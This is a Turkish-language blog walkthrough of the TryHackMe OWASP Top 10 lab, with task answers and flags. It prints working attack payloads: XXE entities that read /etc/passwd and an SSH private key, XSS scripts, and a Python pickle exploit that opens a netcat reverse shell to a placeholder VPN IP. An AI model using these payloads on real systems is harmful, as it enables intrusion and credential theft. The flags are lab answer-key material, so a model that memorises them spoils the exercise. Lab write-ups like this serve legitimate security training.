top of page

OWASP Top 10 Tryhackme Writeup

  • Yazarın fotoğrafı: Songül ÖZÜGÜRLER
    Songül ÖZÜGÜRLER
  • 28 Nis
  • 5 dakikada okunur

OWASP Top 10 Tryhackme Writeup

OWASP Top 10 Tryhackme Writeup

Merhaba bu yazımda tryhackme owasp top 10 odasının çözümünü anlatmaya çalışıcağım

Task 1 Introduction

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 2 Accessing machines

openvpn kullanarak makineye bağlanalım

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 3 [Severity 1] Injection

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 4 [Severity 1] OS Command Injection

OWASP Top 10 Tryhackme Writeup

Task 5 [Severity 1] Command Injection Practical

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup
http://ip bu dizine gitmemiz isteniyor
OWASP Top 10 Tryhackme Writeup

bu kısımda bize shell yüklenmiş bi sayfa verilmiş

ls komutunu vererek dizindeki dosyalara göz atalım

OWASP Top 10 Tryhackme Writeup

evilshell.php şu anki shell index.php index dosyamız

burda en ilgi çekici dosya drpeper.txt dosyası

cevap: drpepper.txt

soru 2

OWASP Top 10 Tryhackme Writeup

cat /etc/passwd ile dosyamızı okuyalım

OWASP Top 10 Tryhackme Writeup

hizmet dışı kullanıcı yok

cevap : 0

soru 3

OWASP Top 10 Tryhackme Writeup

whoami komutu bize hangi kulalnıcı olduğumuzu söyler

OWASP Top 10 Tryhackme Writeup
cevap : www-data

soru 4

OWASP Top 10 Tryhackme Writeup

cat /etc/passwd dosyasından bakabiliriz

cevap : /usr/sbin/nologin

soru 5

OWASP Top 10 Tryhackme Writeup

hostnamectl komutu ile sürümü öğrenebilirz

OWASP Top 10 Tryhackme Writeup
cevap : 18.04.4

soru 6

OWASP Top 10 Tryhackme Writeup

motd ye çıktı vermemizi istiyor

motd nedir sorusunun cevabı eskiden linuxda grafik arayüz olmadığı zamanlarda motd dosyası ile mesaj bırakırlarmış ascıı art resimleri örnek olabilir motd dosyaları genelde etc dizinin altında bulunur

ipucuna baktığımızda ise başlıkdan bahsediyordu

OWASP Top 10 Tryhackme Writeup

cd /etc && locate motd komutunu kullanarak motd dosyalarını aradım

ve 00 başlıklı dosyayı buldum

OWASP Top 10 Tryhackme Writeup

cat ile dosyayı okuyalım

OWASP Top 10 Tryhackme Writeup

cevap : DR PEPPER

Task 6 Broken Authentication

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 7 Broken Authentication Pratik

OWASP Top 10 Tryhackme Writeup

makineyi başlatalım ve verilen ip adresinin 8888. portuna gidelim

OWASP Top 10 Tryhackme Writeup

bu odanın Broken Authentication üzerine yoğunlaşıcağını söyleyen bir yazı var parağrafta anlatıldığı gibi önüne boşluk koyarak Darren adlı kullanıcıyı kaydetmeye çalışalım

OWASP Top 10 Tryhackme Writeup

burp suite ile isteği keselim

OWASP Top 10 Tryhackme Writeup

isteği yakalayalım repertera gönderelim ve değiştirelim

OWASP Top 10 Tryhackme Writeup

evet değişti giriş yapalım

OWASP Top 10 Tryhackme Writeup

darrene ait hakları ile yeni bi kulanıcı açıldı ve bize flağı verdi

OWASP Top 10 Tryhackme Writeup

aynı işlemi arthur için yapıp flağı alalım

Sensitive Data Exposure (Introduction)

[Severity 3] Sensitive Data Exposure (Supporting Material 1)

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

[Severity 3] Sensitive Data Exposure (Supporting Material 2)

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

[Severity 3] Sensitive Data Exposure (Challenge)

OWASP Top 10 Tryhackme Writeup

bize verilen ip adresine dirb ile küçük bir dizin taraması yapmamız gerekiyor

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

bahsettiğimiz dizinin adı assets içinde veritabanı bilgileri var

OWASP Top 10 Tryhackme Writeup

sqlite3 ile db i açıp hash bilgilerini alalım

OWASP Top 10 Tryhackme Writeup

ve bu sitede çözelim admin ve bob a ait hashi kırdı fakat alice kırılmadı

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

giriş yapalım ve flağımızı alalım

OWASP Top 10 Tryhackme Writeup

Task 12 [Severity 4] XML External Entity

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 13 [Severity 4 XML External Entity — eXtensible Markup Language

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

xml in açılımını sormuş

cevap : Extensible Markup Language

OWASP Top 10 Tryhackme Writeup

yukardaki parağraftada anlatıldığı gibi evet

cevap: yes

OWASP Top 10 Tryhackme Writeup

cevap : XML prolog

Task 14 [Severity 4] XML External Entity — DTD

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

cevap :!ELEMENT

OWASP Top 10 Tryhackme Writeup

cevap:!DOCTYPE

OWASP Top 10 Tryhackme Writeup

cevap:!ENTITY

Task 15 [Severity 4] XML External Entity — XXE Payload

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 16 [Severity 4] XML External Entity — Exploiting

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

first name ve last name adımızı görüntüler

<!DOCTYPE replace [<!ENTITY name “feast”> ]> <userInfo> <firstName>falcon</firstName> <lastName>&Songül;</lastName> </userInfo>

OWASP Top 10 Tryhackme Writeup

soru 2

OWASP Top 10 Tryhackme Writeup

<?xml version=”1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM ‘file:///etc/passwd’>]> <root>&read;</root>

bu komutla passwd dosyasını okuyabiliriz

OWASP Top 10 Tryhackme Writeup

soru 3

OWASP Top 10 Tryhackme Writeup

passwd dosyasına baktığımızda adının falcon olduğunu görüyoruz

soru 4

OWASP Top 10 Tryhackme Writeup

ssh anahtarları genelde home dizini altında .ssh klasörü içindedir ama biz okumayı deneyelim

<?xml version=”1.0"?>

<!DOCTYPE root [<!ENTITY read SYSTEM ‘ file:///home/falcon/.ssh/id_rsa ’>]>

<root>&read;</root>

OWASP Top 10 Tryhackme Writeup

id rsa bağlantısını kaydedip ssh üzerinden bağlanmayı denerseniz flağa ulaşabilirsiniz

Task 17 [Severity 5] Broken Access Control

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 18 [Severity 5] Broken Access Control (IDOR Challenge)

OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

verdiği ipde bir giriş sayfası vardı. Adımızı ve şifremizi biliyoruz giriş yapalım

OWASP Top 10 Tryhackme Writeup

soru 2

OWASP Top 10 Tryhackme Writeup

note değerini değiştirerek flağa erişebiliriz

OWASP Top 10 Tryhackme Writeup

Task 19 [Severity 6] Security Misconfiguration

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

veridiği ip adresine gidelim ve bir bir not uygulaması buldum ipucuna tıkladığımda ise

OWASP Top 10 Tryhackme Writeup

kaynak koduna bakmamı istiyordu anlaşılan giriş şifresini varsayılan parola olarak bırakmış ve değişitrmemiş github dan şifreyi alalım

OWASP Top 10 Tryhackme Writeup

şifreyi bulduk

OWASP Top 10 Tryhackme Writeup

flağımızda burda

Task 20 [Severity 7] Cross-site Scripting

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

verdiği ip den sayfaya gittiğimde bir TryHackMe XSS oyun alanı adlı bir

sayfa karşılıyor kayıt olup giriş yapalım

OWASP Top 10 Tryhackme Writeup

reflected xss sayfasına geldiğimde reflected xss oluşturmamı istiyor reflected xss doğrudan web sayfasında işlendiğini söylüyor

<script>alert(Hello)</script> komutunu çalılştıralım

OWASP Top 10 Tryhackme Writeup

soru 2

OWASP Top 10 Tryhackme Writeup

IP adreslerinin kullanıcının konumuyla ilişkili olduğunu biliyoruz ve aynı şekilde JavaScript’te window.location.hostname kurbanın IP adresini alabilen, çağrılan bir nesne var. Aynı yükü bir önceki soruda kullanabilir ve bu soruyu tamamlamak için değiştirebiliriz.

<script>alert(window.location.hostname)</script>

OWASP Top 10 Tryhackme Writeup

cevap :ReflectiveXss4TheWin

soru 3

OWASP Top 10 Tryhackme Writeup

Sonraki birkaç soru, storedf XSS’e dayanmaktadır. html etiketi ile bir metin yazmamızı istiyor. Ben html de parağraf için kullanılan <p> etiketini kullanıcam

<p>paragraf</p>

OWASP Top 10 Tryhackme Writeup

cevap : HTML_T4gs

soru 4

OWASP Top 10 Tryhackme Writeup

uyarı için alert kullanıcaz belge tanımlama bilgileri içinse document.cookies

<script>alert(document.cookies)</script>

OWASP Top 10 Tryhackme Writeup

cevap : W3LL_D0N3_LVL2

soru 5

OWASP Top 10 Tryhackme Writeup

Bu soru biraz zordu Bu soruyu tamamlamak için document.queryselector , belirtilen seçiciyle eşleşen belge içindeki ilk öğeyi döndüren JavaScript nesnesini kullanabiliriz . Bu nedenle, önce "XSS Playground" ı bulmamız gerekiyor.

Bunu yapmak için, “ XSS Playground ” metnini seçip, sağ tıklayıp inspect element e tıklayalım

OWASP Top 10 Tryhackme Writeup

document.querySelector içine yazcağımız id yi bulduk

<script>document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’</script>

OWASP Top 10 Tryhackme Writeup

cevap : websites_can_be_easily_defaced_with_xss

Task 21 [Severity 8] Insecure Deserialization

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

küçük bir google araştırması ile bulabiliriz

cevap : The Apache Software Foundation

soru 2

OWASP Top 10 Tryhackme Writeup

ipucunda dos saldırısı olarak da bilindiğini söyledi.

cevap : Denial of Service

Task 22 [Severity 8] Insecure Deserialization — Objects

OWASP Top 10 Tryhackme Writeup

bir köpek uyurken nesnenin hali davranıştır

cevap: A Behaviour

Task 23 [Severity 8] Insecure Deserialization — Deserialization

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Bu sorunun cevabı, ‘base-2 formatı’ google’da aranarak doğrudan bulunabilir.

cevap : binary

Task 24 [Severity 8] Insecure Deserialization — Cookies

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

Çerezler kaydediliğinde , geçerli oldukları yol da açıklanır. Çerezin geçerli olduğu URL, sorunun kendisinde mevcuttur.

cevap: webapp.com/login

soru 2

OWASP Top 10 Tryhackme Writeup

HTTP yalnızca güvenli modunda güvenli tanımlama bilgilerini destekler.

cevap:https

Task 25 [Severity 8] Insecure Deserialization — Cookies Practical

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

siteye gidip kayıt oluşturalım ve sayfadaki çerezleri inceleyelim

OWASP Top 10 Tryhackme Writeup

çerez değerimiz base64 ile şifrelenmiş

terminalden echo çerezdeğeri | base64 -d komutunu çalıştırarak çözebilirz

OWASP Top 10 Tryhackme Writeup

ilk flağımız burda

THM{good_old_base64_huh}

soru 2

OWASP Top 10 Tryhackme Writeup

Şu anda bir kullanıcı olarak oturum açıyoruz, admin flağını almak için hesap türümüzü ‘admin’ olarak değiştirmemiz gerekiyor. Bu userType , çerezler bölümündeki çerezde 'user' yerine 'admin' yazılarak yapılabilir . İşimiz bittiğinde, http://machine_ip/admin sayfanın kendisinde bayrağı bulabilir ve bulabiliriz.

OWASP Top 10 Tryhackme Writeup

Task 26 [Severity 8] Insecure Deserialization — Code Execution

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

söylediği adımları tek tek yerine getirelim

1. adım user kulalnıcı açmak

OWASP Top 10 Tryhackme Writeup

2. adım

vime sol tıklayalım be feedback sayfasına dönelim bu kısımda flask dan bahsetmiş flask nedir sorumuza cevap arayalım

Flask Web uygulamalarını geliştirmemizi sağlayan %100 Python ile yazılmış bir microframewroktur. Küçük bir framework olmasına karşın oldukça hızlı bir frameworktur veritabanında depolamak için veriler flaska gönderiliyor

minik bilgilendirmemizden sonra konuya dönelim

kalide netcat dinleyicimizi açalım

OWASP Top 10 Tryhackme Writeup

şu anda 4444 portuna gelen her bağlantıyı dinliyoruz

import pickle
import sys
import base64 command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' class rce(object):    
    def __reduce__(self):        
        import os        
        return (os.system,(command,)) print(base64.b64encode(pickle.dumps(rce())))

bu python betiğinde kendi ip adresimizi yerleştirelim ve

python3 dosyaadı.py yi çalıştıralım

bize base64 e çevrilmiş halini vericek

OWASP Top 10 Tryhackme Writeup

Bunu tarayıcınızdaki “ encodingPayload ” çerezine yapıştırın:

OWASP Top 10 Tryhackme Writeup

Netcat dinleyicimizin hala çalıştığından emin olun ve sayfayı yenileyin askıda kalacak netcate dönelim . flag txt dosyasnı bulduk 🎊

OWASP Top 10 Tryhackme Writeup

Task 27 [Severity 9] Components With Known Vulnerabilities — Intro

OWASP Top 10 Tryhackme Writeup

Task 28 [Severity 9] Components With Known Vulnerabilities — Exploit

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

Task 29 [Severity 9] Components With Known Vulnerabilities — Lab

OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

bize verilen ip adresine nmap taraması yapalım

nmap -sV -sC ip

OWASP Top 10 Tryhackme Writeup

ssh ve bir http servisi çalışıyor web sitesine gidelim

OWASP Top 10 Tryhackme Writeup

Kitapçıdaki güvenlik açığını araştırabiliriz. evet onu burda bulduk

indirelim ve çalıştıralım

OWASP Top 10 Tryhackme Writeup

şimdi etc/passwd içinde kaç karakter var ona bakalım

wc -c /etc/passwd

OWASP Top 10 Tryhackme Writeup

cevap : 1611

Task 30 [Severity 10] Insufficient Logging and Monitoring

OWASP Top 10 Tryhackme Writeup
OWASP Top 10 Tryhackme Writeup

bize verilen dosyayı indirelim.

OWASP Top 10 Tryhackme Writeup

soru 1

OWASP Top 10 Tryhackme Writeup

Sürekli farklı bir kullanıcı adı ile sisteme girmeye çalışan birini görüyoruz.

cevap : 49.99.13.16

soru 2

OWASP Top 10 Tryhackme Writeup

HTTP 401 Yetkisiz istemci hata durumu yanıt kodu, hedef kaynak için geçerli kimlik doğrulama bilgilerine sahip olmadığı için isteğin uygulanmadığını gösterir.

Yani brute force saldırısı diyebiliriz çünkü birisinin sürekli olarak farklı bir kullanıcı ile şifre denediğini görüyoruz.

cevap : Brute force

 
 
bottom of page